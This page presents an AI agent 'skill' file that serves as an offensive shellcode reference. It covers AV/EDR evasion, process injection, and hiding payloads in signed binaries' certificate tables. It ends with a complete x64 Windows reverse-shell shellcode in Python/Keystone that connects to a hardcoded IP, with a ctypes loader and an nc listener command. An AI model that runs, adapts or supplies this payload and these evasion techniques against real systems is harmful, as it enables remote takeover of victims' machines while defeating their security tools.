offensive-shellcode
Skill2 starsChanged 2 months agoMITView on GitHub
Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques.
3 other projects use a version of this.
Adopted by
Most recently taken up by
- TaiMaBenJi/taima-skillsword for word, first seen Oct 11, 2026
- Zen1th53/codex-redword for word, first seen Sep 23, 2026
- SnailSploit/Claude-Redword for word, first seen Aug 6, 2026
Other versions3 projects use a version of this.
Word for word · 3
- SnailSploit/Claude-Red★ 7.5k100% same
- TaiMaBenJi/taima-skills★ 1100% same
- Zen1th53/codex-red★ 1100% same
Edited · 0
None found.
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository255 other files it gives its agents.
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- The first 60 shown.
The file
We split this skill into the rules it gives an agent
11 rules. About 0 are common, 5 are distinctive, and 6 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈5
Distinctive · estimate
This author's own choices. Worth a look.
6
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 9
Write assembly using position-independent techniques
- Very specific: line 21
Avoid direct PAGE_EXECUTE_READWRITE — prefer:
- Distinctive: line 23
Write shellcode to allocated region
- Very specific: line 24
Call VirtualProtect to switch to PAGE_EXECUTE_READ
- Very specific: line 54
Use LoadLibraryA to load WS2_32.dll, resolve Winsock functions
- Very specific: line 81
Avoid RWX allocations — use two-step:
- Very specific: line 84
After writing: VirtualProtectEx to switch to RX
- Distinctive: line 96
Add delays between writes
- Distinctive: line 162
Add XOR/AES encryption + obfuscation
- Distinctive: line 209
Write shellcode in chunks in randomized order
- Very specific: line 212
All calls via direct syscalls: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Shellcode Development Workflow
- Define concept and target platform (x86/x64, Windows/Linux/macOS)
- Write assembly using position-independent techniques
- Extract binary and test in controlled environment
- Apply null byte avoidance and optimizations
- Encode/encrypt to evade static detection
- Package with loader and choose delivery method
Basic Concepts
Execution Pattern (Allocate-Write-Execute)
Avoid direct PAGE_EXECUTE_READWRITE — prefer:
- Allocate with
PAGE_READWRITE - Write shellcode to allocated region
- Call
VirtualProtectto switch toPAGE_EXECUTE_READ
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();Position-Independent Code (PIC) Techniques
| Method | Platform | Notes |
| Call/Pop | Windows | Push next addr, pop into register |
| FPU state | Windows | fstenv saves instruction pointer |
| SEH | Windows | Exception handler stores EIP |
| GOT | Linux | Global Offset Table |
| VDSO | Linux | Kernel-provided shared object |
Windows API Resolution (PEB Walk)
Identifying kernel32.dll without imports:
- Get
PEBviags:[0x60](x64) orfs:[0x30](x86) - Walk
PEB->Ldr.InMemoryOrderModuleList— order: exe → ntdll → kernel32 - Hash-compare module names to locate
kernel32 - Parse the Export Address Table (EAT)
- Find
GetProcAddressby name hash, then resolveLoadLibraryA - Use
LoadLibraryAto loadWS2_32.dll, resolve Winsock functions
WinDbg helpers for debugging PEB walk:
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32 # verify base address
r @r8 # check registerShellcode Loaders
Loader Responsibilities
- Environment verification / keying (sandbox detection)
- Shellcode decryption
- Safe memory allocation and injection
- Ends its duties after injecting
Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)
Allocation Phase
Avoid RWX allocations — use two-step:
VirtualAllocEx/NtAllocateVirtualMemory— allocateRWZwCreateSection+NtMapViewOfSection— alternative approach- After writing:
VirtualProtectExto switch toRX
Other options: code caves, stack/heap (with DEP disabled)
Write Phase
WriteProcessMemory/NtWriteVirtualMemorymemcpyto mapped section
Evasion tips:
- Prepend shellcode with dummy opcodes
- Split into chunks, write in randomized order
- Add delays between writes
Execute Phase
Most scrutinized step — EDR checks thread start address against image-backed memory:
| Technique | Notes |
CreateRemoteThread / ZwCreateThreadEx | Loud, heavily monitored |
NtSetContextThread | Hijack suspended thread |
NtQueueApcThreadEx | APC injection |
| API trampolines | Overwrite function prologue |
| ThreadlessInject | No new threads created |
Indirect execution resources:
PE-to-Shellcode Conversion
| Tool | Purpose |
| Donut | EXE/DLL → shellcode |
| sRDI | DLL → position-independent shellcode |
| Pe2shc | PE → shellcode |
| Amber | Reflective PE packer |
Open-source loaders:
- ScareCrow
- NimPackt-v1
- NullGate — indirect syscalls + junk-write sequencing
- DripLoader — chunked RW writes + direct syscalls + JMP trampoline
- ProtectMyTooling — chain multiple protections
- Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)
Shellcode Storage & Hiding
| Location | Risk | Notes |
Hardcoded in .text | Medium | Requires recompile; stored RW/RO |
PE Resources (RCDATA) | High | Most scanned by AV |
| Extra PE section | Medium | Use second-to-last section |
| Certificate Table | Low | Keeps signed PE signature intact |
| Internet-hosted | Variable | SharpShooter |
Certificate Table technique (recommended):
- Pad Certificate Table with shellcode bytes; update PE headers
- Backdoor only the loader DLL (e.g.,
ffmpeg.dllinteams.exe) - Main executable signature remains valid; only the DLL signature breaks
Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.
Windows 11 24H2 note: AMSI heap scanning is active. Allocate with
PAGE_NOACCESS, decrypt in place, then switch toPAGE_EXECUTE_READto avoid live-heap scans.
Evasion
Progressive Evasion Escalation
- Basic shellcode execution (baseline)
- Add XOR/AES encryption + obfuscation
- Direct syscalls to bypass userland hooks
- Remote process injection as last resort
Local vs Remote Injection
Remote injection is more detectable:
CFG/CIGenforcement- ETW Ti feeds
- EDR call-stack back-tracing (
NtOpenProcessinvocation source) - More scrutinized steps: OpenProcess → Allocate → Write → Execute
Defender bypass tools (DefenderBypass):
myEncoder3.py— XOR-encrypt binary shellcodeInjectBasic.cpp— basic C++ injectorInjectCryptXOR.cpp— XOR decrypt + injectInjectSyscall-LocalProcess.cpp— direct syscalls, no suspicious IAT entriesInjectSyscall-RemoteProcess.cpp— remote process injection via direct syscalls
Cross-Platform Considerations
Windows on ARM64 (WoA)
- Syscalls use
SVC 0with ARM64 table inntdll!KiServiceTableArm64 - Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with
PACIASP
Linux 6.9+ (eBPF Arena)
BPF_MAP_TYPE_ARENAmaps can hold executable memory- Hide shellcode chunks in arena map, execute via
bpf_prog_run_pin_on_cpu
macOS (Signed System Volume)
- macOS 12+ seals the system partition; unsigned payloads cannot reside there
- Userspace: launch agents, dylib hijacks in
/Library/Apple/System/Library/Dyld/ - Kernel persistence: create sealed snapshot, mount RW, inject, resign with
kmutil, bless
DripLoader Technique
github.com/xuanxuan0/DripLoader:
- Reserve 64KB chunks with
NO_ACCESS - Allocate 4KB
RWchunks within that pool - Write shellcode in chunks in randomized order
- Re-protect to
RX - Overwrite prologue of
ntdll!RtlpWow64CtxFromAmd64with JMP trampoline - All calls via direct syscalls:
NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx
Full x64 Reverse Shell Shellcode (Windows)
Complete Python/Keystone example implementing PEB walk → GetProcAddress → LoadLibraryA → Winsock connect → CreateProcessA(cmd.exe):
import ctypes, struct
from keystone import *
CODE = (
# Locate kernel32 Base Address
" start: "
" add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
" find_kernel32: "
" int3 ;" # WinDbg breakpoint (disable for release)
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;" # RAX = PEB
" mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr
" mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;" # RBX = kernel32 base
" mov r8, rbx ;"
# Parse Export Address Table
" mov ebx, [rbx+0x3C] ;" # PE signature offset
" add rbx, r8 ;" # RBX = PE header
" xor r12,r12 ;"
" add r12, 0x88FFFFF ;"
" shr r12, 0x14 ;"
" mov edx, [rbx+r12] ;" # EAT RVA
" add rdx, r8 ;" # RDX = EAT VA
" mov r10d, [rdx+0x14] ;" # NumberOfFunctions
" xor r11, r11 ;"
" mov r11d, [rdx+0x20] ;" # AddressOfNames RVA
" add r11, r8 ;" # AddressOfNames VA
# Find GetProcAddress
" mov rcx, r10 ;"
" k32findfunction: "
" jecxz functionfound ;"
" xor ebx,ebx ;"
" mov ebx, [r11+4+rcx*4] ;" # Function name RVA
" add rbx, r8 ;" # Function name VA
" dec rcx ;"
" mov rax, 0x41636f7250746547 ;" # 'GetProcA'
" cmp [rbx], rax ;"
" jnz k32findfunction ;"
# Get function address
" functionfound: "
" xor r11, r11 ;"
" mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA
" add r11, r8 ;"
" inc rcx ;"
" mov r13w, [r11+rcx*2] ;" # Ordinal
" xor r11, r11 ;"
" mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA
" add r11, r8 ;"
" mov eax, [r11+4+r13*4] ;"
" add rax, r8 ;" # GetProcAddress VA
" mov r14, rax ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
" mov rcx, 0x41797261 ;"
" push rcx ;"
" mov rcx, 0x7262694c64616f4c ;"
" push rcx ;" # 'LoadLibraryA'
" mov rdx, rsp ;"
" mov rcx, r8 ;" # kernel32 base
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(kernel32, LoadLibraryA)
" add rsp, 0x40 ;"
" mov rsi, rax ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
" xor rax, rax ;"
" mov rax, 0x6C6C ;"
" push rax ;"
" mov rax, 0x642E32335F325357 ;"
" push rax ;" # 'WS2_32.dll'
" mov rcx, rsp ;"
" sub rsp, 0x30 ;"
" call rsi ;" # LoadLibraryA("WS2_32.dll")
" mov r15, rax ;" # R15 = WS2_32 base
" add rsp, 0x40 ;"
# WSAStartup
" mov rax, 0x7075 ;"
" push rax ;"
" mov rax, 0x7472617453415357 ;"
" push rax ;" # 'WSAStartup'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(ws2_32, WSAStartup)
" add rsp, 0x40 ;"
" mov r12, rax ;"
" xor rcx,rcx ;"
" mov cx,408 ;"
" sub rsp,rcx ;"
" lea rdx,[rsp] ;" # lpWSAData
" mov cx,514 ;" # wVersionRequired = 2.2
" sub rsp,88 ;"
" call r12 ;" # WSAStartup
# WSASocketA — create socket
" mov rax, 0x4174 ;"
" push rax ;"
" mov rax, 0x656b636f53415357 ;"
" push rax ;" # 'WSASocketA'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" sub rsp,0x208 ;"
" xor rdx, rdx ;"
" sub rsp, 88 ;"
" mov [rsp+32], rdx ;"
" mov [rsp+40], rdx ;"
" inc rdx ;"
" mov rcx, rdx ;"
" inc rcx ;"
" xor r8,r8 ;"
" add r8,6 ;"
" xor r9,r9 ;"
" mov r9w,98*4 ;"
" mov ebx,[r15+r9] ;"
" xor r9,r9 ;"
" call r12 ;" # WSASocketA
" mov r13, rax ;" # R13 = socket handle
" add rsp, 0x208 ;"
# WSAConnect — connect to C2
" mov rax, 0x7463 ;"
" push rax ;"
" mov rax, 0x656e6e6f43415357 ;"
" push rax ;" # 'WSAConnect'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" mov rcx, r13 ;" # socket handle
" sub rsp,0x208 ;"
" xor rax,rax ;"
" inc rax ;"
" inc rax ;"
" mov [rsp], rax ;" # AF_INET = 2
" mov rax, 0xbb01 ;" # Port 443 (big-endian)
" mov [rsp+2], rax ;"
" mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS
" mov [rsp+4], rax ;"
" lea rdx,[rsp] ;"
" mov r8, 0x16 ;" # sizeof(sockaddr_in)
" xor r9,r9 ;"
" push r9 ;"
" push r9 ;"
" push r9 ;"
" sub rsp, 0x88 ;"
" call r12 ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;"
" mov rax, [rax + 0x18] ;"
" mov rsi, [rax + 0x20] ;"
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;"
" mov r8, rbx ;"
" mov rax, 0x41737365636f ;"
" push rax ;"
" mov rax, 0x7250657461657243 ;"
" push rax ;" # 'CreateProcessA'
" mov rdx, rsp ;"
" mov rcx, r8 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
" mov rax, 0x6578652e646d63 ;"
" push rax ;" # 'cmd.exe'
" mov rcx, rsp ;" # lpApplicationName
" push r13 ;" # hStdError = socket
" push r13 ;" # hStdOutput = socket
" push r13 ;" # hStdInput = socket
" xor rax,rax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x100 ;" # STARTF_USESTDHANDLES
" push ax ;"
" xor rax,rax ;"
" push ax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x68 ;"
" push rax ;" # cb = 0x68
" mov rdi,rsp ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
" mov rax, rsp ;"
" sub rax, 0x500 ;"
" push rax ;" # lpProcessInformation
" push rdi ;" # lpStartupInfo
" xor rax, rax ;"
" push rax ;" # lpCurrentDirectory = NULL
" push rax ;" # lpEnvironment = NULL
" push rax ;"
" inc rax ;"
" push rax ;" # bInheritHandles = TRUE
" xor rax, rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;" # dwCreationFlags = 0
" mov r8, rax ;" # lpThreadAttributes = NULL
" mov r9, rax ;" # lpProcessAttributes = NULL
" mov rdx, rcx ;" # lpCommandLine = 'cmd.exe'
" mov rcx, rax ;" # lpApplicationName = NULL
" call r12 ;" # CreateProcessA
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)Note: Update IP (
0x31061fac) and port (0xbb01) before use. Listener:nc -nvlp 443Windows 11 23H2: Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload.
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